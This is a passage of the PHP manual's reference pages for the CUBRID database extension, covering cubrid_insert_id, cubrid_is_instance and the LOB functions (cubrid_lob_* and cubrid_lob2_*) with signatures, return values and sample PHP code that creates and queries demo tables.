CUBRID supports AUTO_INCREMENT for more than one columns in a table. In most cases, there will be a single AUTO_INCREMENT column in a table. If there are multiple AUTO_INCREMENT columns, this function should not be used even if it will return a value.

Parameters

conn_identifier

The connection identifier previously obtained by a call to cubrid_connect().

Return Values

A string representing the ID generated for an AUTO_INCREMENT column by the previous query, on success.

0, if the previous query does not generate new rows.

FALSE on failure.

Changelog

Version | Description
8.4.0 | Change the return value from an array to string; Remove the first parameter class_name.

Examples

Example #1 cubrid_insert_id() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE cubrid_test");
cubrid_execute($conn, "CREATE TABLE cubrid_test (d int AUTO_INCREMENT(1, 2), t varchar)");

for ($i = 0; $i < 10; $i++) {
    cubrid_execute($conn, "INSERT INTO cubrid_test(t) VALUES('cubrid_test')");
}

$id = cubrid_insert_id();
var_dump($id);

cubrid_disconnect($conn);
?>

The above example will output:

string(2) "19"

User Contributed Notes

There are no user contributed notes for this page.


Check whether the instance pointed by OID exists

  • « cubrid_insert_id
  • cubrid_lob_close »
  • PHP Manual
  • CUBRID Functions
  • Check whether the instance pointed by OID exists

cubrid_is_instance

(PECL CUBRID >= 8.3.0)

cubrid_is_instance — Check whether the instance pointed by OID exists

Description

int cubrid_is_instance ( resource $conn_identifier , string $oid )

The cubrid_is_instance() function is used to check whether the instance pointed by the given oid exists or not.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance that you want to check the existence.

Return Values

1, if such instance exists;

0, if such instance does not exist;

-1, in case of error

Examples

Example #1 cubrid_is_instance() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$sql = <<<EOD
SELECT host_year, medal, game_date
FROM game
WHERE athlete_code IN
    (SELECT code FROM athlete WHERE name='Thorpe Ian');
EOD;

$req = cubrid_execute($conn, $sql, CUBRID_INCLUDE_OID);
$oid = cubrid_current_oid($req);

$res = cubrid_is_instance ($conn, $oid);
if ($res == 1) {
    echo "Instance pointed by $oid exists.\n";
} else if ($res == 0){
    echo "Instance pointed by $oid doesn't exist.\n";
} else {
    echo "error\n";
}

cubrid_disconnect($conn);
?>

The above example will output:

Instance pointed by @0|0|0 doesn't exist.

See Also

  • cubrid_drop() - Delete an instance using OID
  • cubrid_get_class_name() - Get the class name using OID

User Contributed Notes

There are no user contributed notes for this page.


Close BLOB/CLOB data

  • « cubrid_is_instance
  • cubrid_lob_export »
  • PHP Manual
  • CUBRID Functions
  • Close BLOB/CLOB data

cubrid_lob_close

(PECL CUBRID >= 8.3.1)

cubrid_lob_close — Close BLOB/CLOB data

Description

bool cubrid_lob_close ( array $lob_identifier_array )

cubrid_lob_close() is used to close all BLOB/CLOB returned from cubrid_lob_get().

Parameters

lob_identifier_array

LOB identifier array return from cubrid_lob_get.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_lob_close() example

<?php
$conn = cubrid_connect ("localhost", 33000, "demodb", "dba");

cubrid_execute($conn,"DROP TABLE if exists doc");
cubrid_execute($conn,"CREATE TABLE doc (id INT, doc_content CLOB)");
cubrid_execute($conn,"INSERT INTO doc VALUES (5,'hello,cubrid')");

$lobs = cubrid_lob_get($conn, "SELECT doc_content FROM doc WHERE id=5");
echo "Doc size: ".cubrid_lob_size($lobs[0])." bytes";
cubrid_lob_export($conn, $lobs[0], "doc_5.txt");
cubrid_lob_close($lobs);
cubrid_disconnect($conn);
?>

See Also

  • cubrid_lob_get() - Get BLOB/CLOB data
  • cubrid_lob_size() - Get BLOB/CLOB data size
  • cubrid_lob_export() - Export BLOB/CLOB data to file
  • cubrid_lob_send() - Read BLOB/CLOB data and send straight to browser

User Contributed Notes

There are no user contributed notes for this page.


Export BLOB/CLOB data to file

  • « cubrid_lob_close
  • cubrid_lob_get »
  • PHP Manual
  • CUBRID Functions
  • Export BLOB/CLOB data to file

cubrid_lob_export

(PECL CUBRID >= 8.3.1)

cubrid_lob_export — Export BLOB/CLOB data to file

Description

bool cubrid_lob_export ( resource $conn_identifier , resource $lob_identifier , string $path_name )

cubrid_lob_export() is used to get BLOB/CLOB data from CUBRID database, and saves its contents to a file. To use this function, you must use cubrid_lob_get() first to get BLOB/CLOB info from CUBRID.

Parameters

conn_identifier

Connection identifier.

lob_identifier

LOB identifier.

path_name

Path name of the file.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_lob_export() example

<?php
$conn = cubrid_connect ("localhost", 33000, "demodb", "dba");

cubrid_execute($conn,"DROP TABLE if exists doc");
cubrid_execute($conn,"CREATE TABLE doc (id INT, doc_content CLOB)");
cubrid_execute($conn,"INSERT INTO doc VALUES (5,'hello,cubrid')");

$lobs = cubrid_lob_get($conn, "SELECT doc_content FROM doc WHERE id=5");
echo "Doc size: ".cubrid_lob_size($lobs[0])." bytes";
cubrid_lob_export($conn, $lobs[0], "doc_5.txt");
cubrid_lob_close($lobs);
cubrid_disconnect($conn);
?>

See Also

  • cubrid_lob_get() - Get BLOB/CLOB data
  • cubrid_lob_close() - Close BLOB/CLOB data
  • cubrid_lob_size() - Get BLOB/CLOB data size
  • cubrid_lob_send() - Read BLOB/CLOB data and send straight to browser

User Contributed Notes

There are no user contributed notes for this page.


Get BLOB/CLOB data

  • « cubrid_lob_export
  • cubrid_lob_send »
  • PHP Manual
  • CUBRID Functions
  • Get BLOB/CLOB data

cubrid_lob_get

(PECL CUBRID >= 8.3.1)

cubrid_lob_get — Get BLOB/CLOB data

Description

array cubrid_lob_get ( resource $conn_identifier , string $sql )

cubrid_lob_get() is used to get BLOB/CLOB meta info from CUBRID database, CUBRID gets BLOB/CLOB by executing the SQL statement, and returns all LOBs as a resource array. Be sure that the SQL retrieves only one column and its data type is BLOB or CLOB.

Remember to use cubrid_lob_close() to release the LOBs if you don't need it any more.

Parameters

conn_identifier

Connection identifier.

sql

SQL statement to be executed.

Return Values

Return an array of LOB resources, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_lob_get() example

<?php
$conn = cubrid_connect ("localhost", 33000, "demodb", "dba");

cubrid_execute($conn,"DROP TABLE if exists doc");
cubrid_execute($conn,"CREATE TABLE doc (id INT, doc_content CLOB)");
cubrid_execute($conn,"INSERT INTO doc VALUES (5,'hello,cubrid')");

$lobs = cubrid_lob_get($conn, "SELECT doc_content FROM doc WHERE id=5");
echo "Doc size: ".cubrid_lob_size($lobs[0])." bytes";
cubrid_lob_export($conn, $lobs[0], "doc_5.txt");
cubrid_lob_close($lobs);
cubrid_disconnect($conn);
?>

See Also

  • cubrid_lob_close() - Close BLOB/CLOB data
  • cubrid_lob_size() - Get BLOB/CLOB data size
  • cubrid_lob_export() - Export BLOB/CLOB data to file
  • cubrid_lob_send() - Read BLOB/CLOB data and send straight to browser

User Contributed Notes

There are no user contributed notes for this page.


Read BLOB/CLOB data and send straight to browser

  • « cubrid_lob_get
  • cubrid_lob_size »
  • PHP Manual
  • CUBRID Functions
  • Read BLOB/CLOB data and send straight to browser

cubrid_lob_send

(PECL CUBRID >= 8.3.1)

cubrid_lob_send — Read BLOB/CLOB data and send straight to browser

Description

bool cubrid_lob_send ( resource $conn_identifier , resource $lob_identifier )

cubrid_lob_send() reads BLOB/CLOB data and passes it straight through to the browser. To use this function, you must use cubrid_lob_get() first to get BLOB/CLOB info from CUBRID.

Parameters

conn_identifier

Connection identifier.

lob_identifier

LOB identifier.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_lob_send() example

<?php
$conn = cubrid_connect ("localhost", 33000, "demodb", "dba");

cubrid_execute($conn,"DROP TABLE if exists doc");
cubrid_execute($conn,"CREATE TABLE doc (id INT, doc_content CLOB)");
cubrid_execute($conn,"INSERT INTO doc VALUES (5,'hello,cubrid')");

$lobs = cubrid_lob_get($conn, "SELECT doc_content FROM doc WHERE id=5");

cubrid_lob_send($conn, $lobs[0]);
cubrid_lob_close($lobs);
cubrid_disconnect($conn);
?>

See Also

  • cubrid_lob_get() - Get BLOB/CLOB data
  • cubrid_lob_close() - Close BLOB/CLOB data
  • cubrid_lob_size() - Get BLOB/CLOB data size
  • cubrid_lob_export() - Export BLOB/CLOB data to file

User Contributed Notes

There are no user contributed notes for this page.


Get BLOB/CLOB data size

  • « cubrid_lob_send
  • cubrid_lob2_bind »
  • PHP Manual
  • CUBRID Functions
  • Get BLOB/CLOB data size

cubrid_lob_size

(PECL CUBRID >= 8.3.1)

cubrid_lob_size — Get BLOB/CLOB data size

Description

string cubrid_lob_size ( resource $lob_identifier )

cubrid_lob_size() is used to get BLOB/CLOB data size.

Parameters

lob_identifier

LOB identifier.

Return Values

A string representing LOB data size, when process is successful.

FALSE, when process is unsuccessful.

Changelog

Version | Description
8.4.0 | Change return value type from int to string.

Examples

Example #1 cubrid_lob_size() example

<?php
$lobs = cubrid_lob_get($con, "SELECT doc_content FROM doc WHERE doc_id=5");
echo "Doc size:".cubrid_lob_size($lobs[0]);
cubrid_lob_export($conn, $lobs[0], "doc_5.txt");
cubrid_lob_close($lobs);
?>

See Also

  • cubrid_lob_get() - Get BLOB/CLOB data
  • cubrid_lob_close() - Close BLOB/CLOB data
  • cubrid_lob_export() - Export BLOB/CLOB data to file
  • cubrid_lob_send() - Read BLOB/CLOB data and send straight to browser

User Contributed Notes

There are no user contributed notes for this page.


Bind a lob object or a string as a lob object to a prepared statement as parameters.

  • « cubrid_lob_size
  • cubrid_lob2_close »
  • PHP Manual
  • CUBRID Functions
  • Bind a lob object or a string as a lob object to a prepared statement as parameters.

cubrid_lob2_bind

(PECL CUBRID >= 8.4.1)

cubrid_lob2_bind — Bind a lob object or a string as a lob object to a prepared statement as parameters.

Description

bool cubrid_lob2_bind ( resource $req_identifier , int $bind_index , mixed $bind_value [, string $bind_value_type ] )

The cubrid_lob2_bind() function is used to bind BLOB/CLOB datas to a corresponding question mark placeholder in the SQL statement that was passed to cubrid_prepare(). If bind_value_type is not given, string will be "BLOB" as the default. But if you use cubrid_lob2_new() before, bind_value_type will be consistent with type in cubrid_lob2_new() as the default.

Parameters

req_identifier

Request identifier as a result of cubrid_prepare().

bind_index

Location of binding parameters. It starts with 1.

bind_value

Actual value for binding.

bind_value_type

It must be "BLOB" or "CLOB" and it won't be case-sensitive. If it not be given, the default value is "BLOB".

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_lob2_bind() example

<?php
// Table: test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");

$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES (?, ?)");

cubrid_bind($req,1, 3);

$lob = cubrid_lob2_new($conn, 'CLOB');
cubrid_lob2_bind($req, 2, $lob);

cubrid_execute($req);

cubrid_bind($req, 1, 4);

cubrid_lob2_bind($req, 2, 'CUBRID LOB2 TEST', 'CLOB');

cubrid_execute($req);

cubrid_disconnect($conn);
?>

See Also

  • cubrid_lob2_new() - Create a lob object.
  • cubrid_lob2_close() - Close LOB object.

User Contributed Notes

There are no user contributed notes for this page.


Close LOB object.

  • « cubrid_lob2_bind
  • cubrid_lob2_export »
  • PHP Manual
  • CUBRID Functions
  • Close LOB object.

cubrid_lob2_close

(PECL CUBRID >= 8.4.1)

cubrid_lob2_close — Close LOB object.

Description

bool cubrid_lob2_close ( resource $lob_identifier )

The cubrid_lob2_close() function is used to close LOB object returned from cubrid_lob2_new() or got from the result set.

Parameters

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

Return Values

TRUE, on success.

FALSE, on failure.

See Also

  • cubrid_lob2_new() - Create a lob object.

User Contributed Notes

There are no user contributed notes for this page.


Export the lob object to a file.

  • « cubrid_lob2_close
  • cubrid_lob2_import »
  • PHP Manual
  • CUBRID Functions
  • Export the lob object to a file.

cubrid_lob2_export

(PECL CUBRID >= 8.4.1)

cubrid_lob2_export — Export the lob object to a file.

Description

bool cubrid_lob2_export ( resource $lob_identifier , string $file_name )

The cubrid_lob2_export() function is used to save the contents of BLOB/CLOB data to a file. To use this function, you must use cubrid_lob2_new() or fetch a lob object from CUBRID database first. If the file already exists, the operation will fail. This function will not influence the cursor position of the lob object. It operates the entire lob object.

Parameters

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

filename

File name you want to store BLOB/CLOB data. It also supports the path of the file.

Return Values

TRUE if the process is successful and FALSE for failure.

Examples

Example #1 cubrid_lob2_export() example

<?php
// Table: test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists doc");
cubrid_execute($conn,"CREATE TABLE doc (id INT, doc_content CLOB)");
cubrid_execute($conn,"INSERT INTO doc VALUES (5,'hello,cubrid')");

$req = cubrid_prepare($conn, "select * from doc");

cubrid_execute($req);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);

$row = cubrid_fetch($req, CUBRID_NUM | CUBRID_LOB);

cubrid_lob2_export($row[1], "doc_3.txt");

cubrid_lob2_close($row[1]);
cubrid_disconnect($conn);
?>

See Also

  • cubrid_lob2_new() - Create a lob object.
  • cubrid_lob2_close() - Close LOB object.
  • cubrid_lob2_import() - Import BLOB/CLOB data from a file.
  • cubrid_lob2_bind() - Bind a lob object or a string as a lob object to a prepared statement as parameters.

User Contributed Notes

There are no user contributed notes for this page.


Import BLOB/CLOB data from a file.

  • « cubrid_lob2_export
  • cubrid_lob2_new »
  • PHP Manual
  • CUBRID Functions
  • Import BLOB/CLOB data from a file.

cubrid_lob2_import

(PECL CUBRID >= 8.4.1)

cubrid_lob2_import — Import BLOB/CLOB data from a file.

Description

bool cubrid_lob2_import ( resource $lob_identifier , string $file_name )

The cubrid_lob2_import() function is used to save the contents of BLOB/CLOB data from a file. To use this function, you must use cubrid_lob2_new() or fetch a lob object from CUBRID database first. If the file already exists, the operation will fail. This function will not influence the cursor position of the lob object. It operates the entire lob object.

Parameters

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

filename

File name you want to import BLOB/CLOB data. It also supports the path of the file.

Return Values

TRUE if the process is successful and FALSE for failure.

Examples

Example #1 cubrid_lob2_export() example

<?php

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");

$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES (?, ?)");
cubrid_bind($req, 1, 1);

$lob = cubrid_lob2_new($conn, "clob");
cubrid_lob2_import($lob, "doc_1.txt");
cubrid_lob2_bind($req, 2, $lob, 'CLOB'); // or cubrid_lob2_bind($req, 2, $lob);

cubrid_execute($req);

cubrid_lob2_close($lob);
cubrid_disconnect($conn);
?>

See Also

  • cubrid_lob2_new() - Create a lob object.
  • cubrid_lob2_close() - Close LOB object.
  • cubrid_lob2_export() - Export the lob object to a file.
  • cubrid_lob2_bind() - Bind a lob object or a string as a lob object to a prepared statement as parameters.

User Contributed Notes

There are no user contributed notes for this page.


Create a lob object.

  • « cubrid_lob2_import
  • cubrid_lob2_read »
  • PHP Manual
  • CUBRID Functions
  • Create a lob object.

cubrid_lob2_new

(PECL CUBRID >= 8.4.1)

cubrid_lob2_new — Create a lob object.

Description

resource cubrid_lob2_new ([ resource $conn_identifier [, string $type = "BLOB" ]] )

The cubrid_lob2_new() function is used to create a lob object (both BLOB and CLOB). This function should be used before you bind a lob object.

Parameters

conn_identifier

Connection identifier. If the connection identifier is not specified, the last connection opened by cubrid_connect() or cubrid_connect_with_url() is assumed.

type

It may be "BLOB" or "CLOB", it won't be case-sensitive. The default value is "BLOB".

Return Values

Lob identifier when it is successful.

FALSE on failure.

See Also

  • cubrid_lob2_close() - Close LOB object.

User Contributed Notes

There are no user contributed notes for this page.


Read from BLOB/CLOB data.

  • « cubrid_lob2_new
  • cubrid_lob2_seek64 »
  • PHP Manual
  • CUBRID Functions
  • Read from BLOB/CLOB data.

cubrid_lob2_read

(PECL CUBRID >= 8.4.1)

cubrid_lob2_read — Read from BLOB/CLOB data.

Description

string cubrid_lob2_read ( resource $lob_identifier , int $len )

The cubrid_lob2_read() function reads len bytes from the LOB data and returns the bytes read.

Parameters

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

len

Length from buffer you want to read from the lob data.

Return Values

Returns the contents as a string.

FALSE when there is no more data.

NULL on failure.

Examples

Example #1 cubrid_lob2_read() example 1

<?php
// test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "public", "");

$req = cubrid_execute($conn, "select * from test_lob");

$row = cubrid_fetch_row($req, CUBRID_LOB);

print "position now is " . cubrid_lob2_tell($row[1]) . "\n";

cubrid_lob2_seek($row[1], 10, CUBRID_CURSOR_FIRST);

print "\nposition after moving farword is " . cubrid_lob2_tell($row[1]) . "\n";

$data = cubrid_lob2_read($row[1], 12);

print "\nposition after reading is " . cubrid_lob2_tell($row[1]) . "\n";

print $data . "\n";

cubrid_lob2_seek($row[1], 5, CUBRID_CURSOR_CURRENT);

print "\nposition after moving again is " . cubrid_lob2_tell($row[1]) . "\n";

$data = cubrid_lob2_read($row[1], 20);
print $data . "\n";

cubrid_disconnect($conn);
?>

Example #2 cubrid_lob2_read() example 2

<?php
// test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

$req = cubrid_execute($conn, "select * from test_lob");

$row = cubrid_fetch_row($req, CUBRID_LOB);

while (true) {
    if ($data = cubrid_lob2_read($row[1], 1024)) {
        print $data . "\n";
    }
    elseif ($data === false) {
        print "There is no more data\n";
        break;
    }
    else {
        print "There must some errors\n";
        break;
    }
}

cubrid_disconnect($conn);
?>

See Also

  • cubrid_lob2_write() - Write to a lob object.
  • cubrid_lob2_seek() - Move the cursor of a lob object.
  • cubrid_lob2_seek64() - Move the cursor of a lob object.
  • cubrid_lob2_tell() - Tell the cursor position of the LOB object.
  • cubrid_lob2_tell64() - Tell the cursor position of the LOB object.
  • cubrid_lob2_size() - Get a lob object's size.
  • cubrid_lob2_size64() - Get a lob object's size.

User Contributed Notes

There are no user contributed notes for this page.


Move the cursor of a lob object.

  • « cubrid_lob2_read
  • cubrid_lob2_seek »
  • PHP Manual
  • CUBRID Functions
  • Move the cursor of a lob object.

cubrid_lob2_seek64

(PECL CUBRID >= 8.4.1)

cubrid_lob2_seek64 — Move the cursor of a lob object.

Description

bool cubrid_lob2_seek64 ( resource $lob_identifier , string $offset [, int $origin = CUBRID_CURSOR_CURRENT ] )

The cubrid_lob2_seek64() function is used to move the cursor position of a lob object by the value set in the offset argument, to the direction set in the origin argument. If the offset you want to move is larger than an integer data can be stored, you can use this function.

To set the origin argument, you can use CUBRID_CURSOR_FIRST to set the cursor position moving forward offset units from the first beginning. In this case, offset must be a positive value.

If you use CUBRID_CURSOR_CURRENT for origin, you can move forward or backward. and offset can be positive or negative.

If you use CUBRID_CURSOR_LAST for origin, you can move backward offset units from the end of LOB object and offset only can be positive.

Note:

If you use this function to move the cursor position of the lob object, you should pass offset as a string.

Parameters

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

offset

Number of units you want to move the cursor.

origin

This parameter can be the following values:

CUBRID_CURSOR_FIRST: move forward from the first beginning.

CUBRID_CURSOR_CURRENT: move forward or backward from the current position.

CUBRID_CURSOR_LAST: move backward at the end of LOB object.

Return Values

TRUE if the process is successful and FALSE for failure.

Examples

Example #1 cubrid_lob2_seek64() example

<?php
// test_lob (id INT, contents CLOB)
// Data length of doc_1.txt should be greater than 20101029056306120215.

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");

$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES (?, ?)");
cubrid_bind($req, 1, 1);

$lob = cubrid_lob2_new($conn, "clob");
cubrid_lob2_import($lob, "doc_1.txt");
cubrid_lob2_bind($req, 2, $lob, 'CLOB'); // or cubrid_lob2_bind($req, 2, $lob);

cubrid_execute($req);

cubrid_lob2_close($lob);

$req = cubrid_execute($conn, "select * from test_lob");
$row = cubrid_fetch_row($req, CUBRID_LOB);
$lob = $row[1];

cubrid_lob2_seek64($lob, "20101029056306120215", CUBRID_CURSOR_FIRST);
$data = cubrid_lob2_read($lob, 20);
echo $data."\n";
cubrid_disconnect($conn);
?>

See Also

  • cubrid_lob2_read() - Read from BLOB/CLOB data.
  • cubrid_lob2_write() - Write to a lob object.
  • cubrid_lob2_seek() - Move the cursor of a lob object.
  • cubrid_lob2_tell() - Tell the cursor position of the LOB object.
  • cubrid_lob2_tell64() - Tell the cursor position of the LOB object.
  • cubrid_lob2_size() - Get a lob object's size.
  • cubrid_lob2_size64() - Get a lob object's size.

User Contributed Notes

There are no user contributed notes for this page.


Move the cursor of a lob object.

  • « cubrid_lob2_seek64
  • cubrid_lob2_size64 »
  • PHP Manual
  • CUBRID Functions
  • Move the cursor of a lob object.

cubrid_lob2_seek

(PECL CUBRID >= 8.4.1)

cubrid_lob2_seek — Move the cursor of a lob object.

Description

bool cubrid_lob2_seek ( resource $lob_identifier , int $offset [, int $origin = CUBRID_CURSOR_CURRENT ] )

The cubrid_lob2_seek() function is used to move the cursor position of a lob object by the value set in the offset argument, to the direction set in the origin argument.

To set the origin argument, you can use CUBRID_CURSOR_FIRST to set the cursor position moving forward offset units from the first beginning. In this case, offset must be a positive value.

If you use CUBRID_CURSOR_CURRENT for origin, you can move forward or backward. and offset can be positive or negative.

If you use CUBRID_CURSOR_LAST for origin, you can move backward offset units from the end of LOB object and offset only can be positive.

Parameters

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

offset

Number of units you want to move the cursor.

origin

This parameter can be the following values:

CUBRID_CURSOR_FIRST: move forward from the first beginning.

CUBRID_CURSOR_CURRENT: move forward or backward from the current position.

CUBRID_CURSOR_LAST: move backward at the end of LOB object.

Return Values

TRUE if the process is successful and FALSE for failure.

Examples

Example #1 cubrid_lob2_seek() example

<?php
// test_lob (id INT, contents CLOB)
$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");
$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES(2, ?)");

$lob = cubrid_lob2_new($conn, 'CLOB');
$len = cubrid_lob2_write($lob, "Hello world");

cubrid_lob2_seek($lob, 0, CUBRID_CURSOR_LAST);
cubrid_lob2_write($lob, "beautiful");

cubrid_lob2_seek($lob, 15, CUBRID_CURSOR_FIRST);
$data = cubrid_lob2_read($lob, 5);

echo $data."\n";

cubrid_lob2_bind($req, 1, $lob);
cubrid_execute($req);

cubrid_disconnect($conn);
?>

See Also

  • cubrid_lob2_read() - Read from BLOB/CLOB data.
  • cubrid_lob2_write() - Write to a lob object.
  • cubrid_lob2_seek64() - Move the cursor of a lob object.
  • cubrid_lob2_tell() - Tell the cursor position of the LOB object.
  • cubrid_lob2_tell64() - Tell the cursor position of the LOB object.
  • cubrid_lob2_size() - Get a lob object's size.
  • cubrid_lob2_size64() - Get a lob object's size.

User Contributed Notes

There are no user contributed notes for this page.


Get a lob object's size.

  • « cubrid_lob2_seek
  • cubrid_lob2_size »
  • PHP Manual
  • CUBRID Functions
  • Get a lob object's size.

cubrid_lob2_size64

(PECL CUBRID >= 8.4.1)

cubrid_lob2_size64 — Get a lob object's size.

Description

string cubrid_lob2_size64 ( resource $lob_identifier )

The cubrid_lob2_size64() function is used to get the size of a lob object. If the size of a lob object is larger than an integer data can be stored, you can use this function and it will return the size as a string.

Parameters

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

Return Values

It will return the size of the LOB object as a string when it processes successfully.

FALSE on failure.

See Also

  • cubrid_lob2_read() - Read from BLOB/CLOB data.
  • cubrid_lob2_write() - Write to a lob object.
  • cubrid_lob2_seek() - Move the cursor of a lob object.
  • cubrid_lob2_seek64() - Move the cursor of a lob object.
  • cubrid_lob2_tell() - Tell the cursor position of the LOB object.
  • cubrid_lob2_tell64() - Tell the cursor position of the LOB object.
  • cubrid_lob2_size() - Get a lob object's size.

User Contributed Notes

There are no user contributed notes for this page.


Get a lob object's size.

  • « cubrid_lob2_size64
  • cubrid_lob2_tell64 »
  • PHP Manual
  • CUBRID Functions
  • Get a lob object's size.

cubrid_lob2_size

(PECL CUBRID >= 8.4.1)

cubrid_lob2_size — Get a lob object's size.

Description

int cubrid_lob2_size ( resource $lob_identifier )

The cubrid_lob2_size() function is used to get the size of a lob object.

Parameters

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

Return Values

It will return the size of the LOB object when it processes successfully.

FALSE on failure.

See Also

  • cubrid_lob2_read() - Read from BLOB/CLOB data.
  • cubrid_lob2_write() - Write to a lob object.
  • cubrid_lob2_seek() - Move the cursor of a lob object.
  • cubrid_lob2_seek64() - Move the cursor of a lob object.
  • cubrid_lob2_tell() - Tell the cursor position of the LOB object.
  • cubrid_lob2_tell64() - Tell the cursor position of the LOB object.
  • cubrid_lob2_size64() - Get a lob object's size.

User Contributed Notes

There are no user contributed notes for this page.


Tell the cursor position of the LOB object.

  • « cubrid_lob2_size
  • cubrid_lob2_tell »
  • PHP Manual
  • CUBRID Functions
  • Tell the cursor position of the LOB object.

cubrid_lob2_tell64

(PECL CUBRID >= 8.4.1)

cubrid_lob2_tell64 — Tell the cursor position of the LOB object.

Description

string cubrid_lob2_tell64 ( resource $lob_identifier )

The cubrid_lob2_tell64() function is used to tell the cursor position of the LOB object. If the size of a lob object is larger than an integer data can be stored, you can use this function and it will return the position information as a string.

Parameters

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

Return Values

It will return the cursor position on the LOB object as a string when it processes successfully.

FALSE on failure.

See Also

  • cubrid_lob2_read() - Read from BLOB/CLOB data.
  • cubrid_lob2_write() - Write to a lob object.
  • cubrid_lob2_seek() - Move the cursor of a lob object.
  • cubrid_lob2_seek64() - Move the cursor of a lob object.
  • cubrid_lob2_tell() - Tell the cursor position of the LOB object.
  • cubrid_lob2_size() - Get a lob object's size.
  • cubrid_lob2_size64() - Get a lob object's size.

User Contributed Notes

There are no user contributed notes for this page.


Tell the cursor position of the LOB object.

  • « cubrid_lob2_tell64
  • cubrid_lob2_write »
  • PHP Manual
  • CUBRID Functions
  • Tell the cursor position of the LOB object.

cubrid_lob2_tell

(PECL CUBRID >= 8.4.1)

cubrid_lob2_tell — Tell the cursor position of the LOB object.

Description

int cubrid_lob2_tell ( resource $lob_identifier )

The cubrid_lob2_tell() function is used to tell the cursor position of the LOB object.

Parameters

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

Return Values

It will return the cursor position on the LOB object when it processes successfully.

FALSE on failure.

See Also

  • cubrid_lob2_read() - Read from BLOB/CLOB data.
  • cubrid_lob2_write() - Write to a lob object.
  • cubrid_lob2_seek() - Move the cursor of a lob object.
  • cubrid_lob2_seek64() - Move the cursor of a lob object.
  • cubrid_lob2_tell64() - Tell the cursor position of the LOB object.
  • cubrid_lob2_size() - Get a lob object's size.
  • cubrid_lob2_size64() - Get a lob object's size.

User Contributed Notes

There are no user contributed notes for this page.


Write to a lob object.

  • « cubrid_lob2_tell
  • cubrid_lock_read »
  • PHP Manual
  • CUBRID Functions
  • Write to a lob object.

cubrid_lob2_write

(PECL CUBRID >= 8.4.1)

cubrid_lob2_write — Write to a lob object.

Description

bool cubrid_lob2_write ( resource $lob_identifier , string $buf )

The cubrid_lob2_write() function reads as much as data from buf and stores it to the LOB object. Note that this function can only append characters now.

Parameters

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

buf

Data that need to be written to the lob object.

Return Values

TRUE if the process is successful and FALSE for failure.

Examples

Example #1 cubrid_lob2_write() example 1

<?php
// test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");

$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES(2, ?)");

$lob = cubrid_lob2_new($conn, 'CLOB');
$len = cubrid_lob2_write($lob, "Hello world");

cubrid_lob2_bind($req, 1, $lob);
cubrid_execute($req);

cubrid_disconnect($conn);
?>

Example #2 cubrid_lob2_write() example 2

<?php
// test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");

$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES(1, ?)");
$lob1 = cubrid_lob2_new($conn, 'CLOB');
$len = cubrid_lob2_write($lob1, "cubrid php driver");
cubrid_lob2_bind($req, 1, $lob1);
cubrid_execute($req);

$req = cubrid_execute($conn, "select * from test_lob");

$row = cubrid_fetch_row($req, CUBRID_LOB);
$lob2 = $row[1];
cubrid_lob2_seek($lob2, 0, CUBRID_CURSOR_LAST);

$pos = cubrid_lob2_tell($lob2);
print "pos before write: $pos\n";

cubrid_lob2_write($lob2, "Hello world");

$pos = cubrid_lob2_tell($lob2);
print "pos after write: $pos\n";

cubrid_disconnect($conn);
?>

See Also

  • cubrid_lob2_read() - Read from BLOB/CLOB data.
  • cubrid_lob2_seek() - Move the cursor of a lob object.
  • cubrid_lob2_seek64() - Move the cursor of a lob object.
